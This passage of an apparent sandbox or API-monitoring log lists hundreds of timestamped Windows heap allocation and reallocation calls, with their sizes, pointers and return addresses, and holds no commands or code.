RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2bda0, Size=0x3c) returned 0xb25db8 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb292b0 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25db8, Size=0x40) returned 0xb26160 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29210 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb26160, Size=0x44) returned 0xb261f0 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb292d0 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28740, Size=0x8) returned 0xb28770 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb293f0 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28640 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29470 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28640, Size=0x8) returned 0xb28780 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb293d0 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28780, Size=0xc) returned 0xb24ff8 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb292f0 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb24ff8, Size=0x10) returned 0xb25118 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29310 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25118, Size=0x14) returned 0xb29490 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29430 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb29490, Size=0x18) returned 0xb29190 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29490 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb29190, Size=0x1c) returned 0xb1b000 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29250 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b000, Size=0x20) returned 0xb1ad58 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29270 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1ad58, Size=0x24) returned 0xb27a28 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb291f0 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27a28, Size=0x28) returned 0xb27bd8 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29290 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27bd8, Size=0x2c) returned 0xb2f5a8 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29330 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f5a8, Size=0x30) returned 0xb2f6f8 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb291b0 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f6f8, Size=0x34) returned 0xb2bda0 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29350 [0050.072] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28770, Size=0xc) returned 0xb25118 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb291d0 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28740 [0050.072] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29390 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28740, Size=0x8) returned 0xb28790 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29450 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28790, Size=0xc) returned 0xb25190 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb293b0 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25190, Size=0x10) returned 0xb251f0 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29170 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb251f0, Size=0x14) returned 0xb29410 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29130 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb29410, Size=0x18) returned 0xb294b0 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29190 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb294b0, Size=0x1c) returned 0xb1ad58 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb294b0 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1ad58, Size=0x20) returned 0xb1b000 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29370 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b000, Size=0x24) returned 0xb27d28 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29410 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27d28, Size=0x28) returned 0xb27b18 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb294d0 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27b18, Size=0x2c) returned 0xb2f5e0 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb29150 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f5e0, Size=0x30) returned 0xb2f7a0 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fa98 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f7a0, Size=0x34) returned 0xb2b6e0 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fa78 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2b6e0, Size=0x38) returned 0xb2b8e0 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fc18 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2b8e0, Size=0x3c) returned 0xb25ae8 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fc38 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25ae8, Size=0x40) returned 0xb25bc0 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fb58 [0050.073] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25bc0, Size=0x44) returned 0xb25980 [0050.073] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f958 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x48) returned 0xb25980 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fc58 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x4c) returned 0xb25980 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fcd8 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x50) returned 0xb25980 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f918 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x54) returned 0xb25980 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fcf8 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x58) returned 0xb25980 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fcb8 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x5c) returned 0xb25980 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fc78 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x60) returned 0xb25980 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f938 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x64) returned 0xb20de0 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fc98 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x68) returned 0xb20de0 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fb18 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x6c) returned 0xb20de0 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f978 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x70) returned 0xb20de0 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fb78 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x74) returned 0xb1f208 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f998 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1f208, Size=0x78) returned 0xb1f208 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fb98 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1f208, Size=0x7c) returned 0xb25648 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f9f8 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x80) returned 0xb25648 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f9b8 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x84) returned 0xb25648 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fa58 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x88) returned 0xb25648 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f9d8 [0050.074] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x8c) returned 0xb25648 [0050.074] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fa18 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x90) returned 0xb25648 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fbb8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x94) returned 0xb253b8 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fa38 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0x98) returned 0xb253b8 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fab8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0x9c) returned 0xb253b8 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fbd8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0xa0) returned 0xb253b8 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fbf8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0xa4) returned 0xb25728 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fad8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xa8) returned 0xb25728 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fb38 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xac) returned 0xb25728 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2faf8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xb0) returned 0xb25728 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fff8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xb4) returned 0xb25838 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2ff78 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25838, Size=0xb8) returned 0xb25838 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fdf8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25838, Size=0xbc) returned 0xb25838 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fdb8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25838, Size=0xc0) returned 0xb25838 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2ffd8 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25838, Size=0xc4) returned 0xb25838 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2ff58 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28f90, Size=0x1c) returned 0xb1ad58 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fdd8 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28640 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2ff38 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28640, Size=0x8) returned 0xb28740 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fd18 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28740, Size=0xc) returned 0xb25190 [0050.075] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fe38 [0050.075] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25190, Size=0x10) returned 0xb251f0 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2ff98 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb251f0, Size=0x14) returned 0xb30058 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30098 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb30058, Size=0x18) returned 0xb2fe98 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fe58 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2fe98, Size=0x1c) returned 0xb1b000 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fd38 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b000, Size=0x20) returned 0xb1b028 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fe18 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b028, Size=0x24) returned 0xb27ae8 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2feb8 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27ae8, Size=0x28) returned 0xb27d28 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb300b8 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27d28, Size=0x2c) returned 0xb2f458 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fed8 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f458, Size=0x30) returned 0xb2f420 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30058 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f420, Size=0x34) returned 0xb2bb20 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fd98 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2bb20, Size=0x38) returned 0xb2b8e0 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fe78 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2b8e0, Size=0x3c) returned 0xb25a10 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fe98 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25a10, Size=0x40) returned 0xb25c50 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fef8 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25c50, Size=0x44) returned 0xb25980 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2ff18 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x48) returned 0xb25980 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2ffb8 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x4c) returned 0xb25980 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30018 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x50) returned 0xb25980 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30038 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x54) returned 0xb25980 [0050.076] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30078 [0050.076] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x58) returned 0xb25980 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fd58 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x5c) returned 0xb25980 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2fd78 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x60) returned 0xb25980 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb28f90 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x64) returned 0xb20de0 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f190 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x68) returned 0xb20de0 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f250 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x6c) returned 0xb20de0 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f130 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x70) returned 0xb20de0 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f310 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x74) returned 0xb1f208 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f150 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1f208, Size=0x78) returned 0xb1f208 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f330 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1f208, Size=0x7c) returned 0xb25648 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f270 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x80) returned 0xb25648 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f170 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x84) returned 0xb25648 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f290 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x88) returned 0xb25648 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f2b0 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x8c) returned 0xb25648 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f390 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x90) returned 0xb25648 [0050.077] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f490 [0050.077] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x94) returned 0xb253b8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f1b0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0x98) returned 0xb253b8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f350 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0x9c) returned 0xb253b8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f1d0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0xa0) returned 0xb253b8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f4f0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb253b8, Size=0xa4) returned 0xb25728 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f210 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xa8) returned 0xb25728 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f3d0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xac) returned 0xb25728 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f4d0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xb0) returned 0xb25728 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f370 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25728, Size=0xb4) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f2d0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xb8) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f1f0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xbc) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f230 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xc0) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f430 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xc4) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f4b0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xc8) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f110 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xcc) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f3b0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xd0) returned 0xb228f8 [0050.078] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f2f0 [0050.078] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xd4) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f3f0 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xd8) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f450 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xdc) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f410 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xe0) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f470 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xe4) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, 